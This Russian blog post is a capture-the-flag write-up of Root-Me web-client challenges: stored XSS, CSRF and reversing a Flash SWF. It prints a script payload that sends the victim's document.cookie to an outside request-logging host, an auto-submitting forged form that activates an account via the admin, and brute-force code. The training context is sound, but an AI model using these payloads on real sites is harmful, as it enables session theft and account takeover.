Хабрахабр

XSS, CSRF и Flash аутентификация. Решение задач с r0от-мi Web— Client. Часть 2

image

В данной статье угоняем куки через Stored XSS, разбираемся с CSRF атакой и реверсим Flash SWF файл. Ссылки на предыдущие статьи:

Решение задач с r0от-мi Web— Client. Часть 1: Web — javascript authentication, obfuscation и native code.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях.

XSS Stored

image

Открываем сайт. По заданию нам нужно захватить куки администратрора. Введем, чтобы посмотреть, как наш ввод отобразится на форме. Видим форму, где нужно ввести заголовок и сообщение.

image

image

Попробуем проверить на XSS. Так. В качестве пэйлоада я буду испольовать обычный алерт.

<script>alert(1);</script>

Как можно видеть, нам отобразилось окошко алерта, то есть внедренный код javascript сработал.

image

Если у вас нету своего собственного сервера в глобальной сети, то можно воспольоваться этим сайтом. Так как это хранимые XSS, то есть возможность угнать куки других пользователей.

image

Теперь внедрим следующий пэйлоад.
Здесь нам дают адрес, по которому мы сможем наблюдать все запросы на этот адрес.

<script>
document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>");
</script>

Когда пользовательоткроет страницу с этим кодом, агент попытается загрузить картинку и выполнит запрос по данному адресу. В качестве параметра он будет использовать свой куки. Мы же потом посмотрим на параметр, с которым пришел запрос — это и будет куки.

image

Вставив куки для этого сайта в своем браузере мы войдем на сайт от имени этого пользователя, пропустив процесс аутентификации. Чем опасен угон куки?

CSRF

image

Зайдем посмотрим на сайт. По заданию нам нужно активировать свой аккаунт. Нас встречает форма авторизации.

image

Выбираем регистрацию, и регистрируемся на сайте.

image

Нам говорят, что мы получим полноправный доступ, когда админ активирует наш аккаунт.

image

image

При попытке самостоятельно поставить галочку, получаем сообщение, что мы не админ.

image

Смысл CSRF в том, что пользователь выполняет действия, сам не зная об этом. Но мы можем контактировать с админом, то есть он откроет страницу. Проверим нет ли здесь токена, который выставляется и проверяется сервером — как защита от таких атак. То есть мы можем заставить его отправить уже заполненную форму. Он каждый раз разный.

image

Из этой формы выйдет вот такой пэйлоад.
Здесь нет токена.

<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button>
</form>
<script>document.getElementById("form").submit()</script>

Здесь уже заполненная нашими данными форма, с выстовленной галочкой активации. Javascript код отправит ее после загрузки страницы, соответсвенно от имени просмотревшего ее администратора.

image

image

Наш аккаунт был активирован. Спустя некоторое время обновим страницу.

image

Flash

image

Откроем страницу. Нам нужно найти валидный код. Нас встречает какой-то кодовый механизм.

image

Давайте глянем код.

image

Осталось узнать алгоритм преобразования. Видим, что на JS проверяется преобразованный код, который мы введем. Давайте его скачаем. Так же в коде ей ссылка на swf файл.

image

Для реверса таких файлов я предпочитаю использовать JPEXS. Видим, что это сжатый Macromedia Flash.

image

Находим основной скрипт.

image

Давайте разбирать его.

image

Сделаем это. Он загружает данные из другого вложенного скрипта, ксорит их с ключем и отправляет на исполнение. Сначала найдем эти данные.

image

А затем экспортируем в отдельный файл.

image

Теперь проксорим их с ключем.

f = open('1_RootMe_EmbeddedSWF.bin', 'r')
swf_crypt = f.read()
f.close() key = 'rootmeifyoucan'
swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w')
f.write(swf_decrypt)
f.close()

Получаем новый файл. Открываем его в JPEXS.

image

Находим основной скрипт и начинаем анализировать.

image

Буду публиковать его части.
Так как все равно придется писать код.

but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'

Здесь мы видим код каждой кнопки и ее расположение по координатам. Это нам поможет понять у какой кнопки какой код.

image

И что итоговое значение — MD5 хеш от перевернутой строки.
Отсюда узнаем, что длина кода должна быть равна или быть больше 12.

from hashlib import *
import itertools for var in itertools.product('1234', repeat=12):
...
... if len(code) >= 12: break
h = md5(code[::-1].encode()).hexdigest()

image

Вместо того чтобы описывать, я просто приведу этот код на python’e.

code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1]

Таким образом, нам нужно перебрать 4^12 = 16777216 вариантов. Пустяк.


from hashlib import *
import itertools but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break

image

Получили пароль и код.

Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть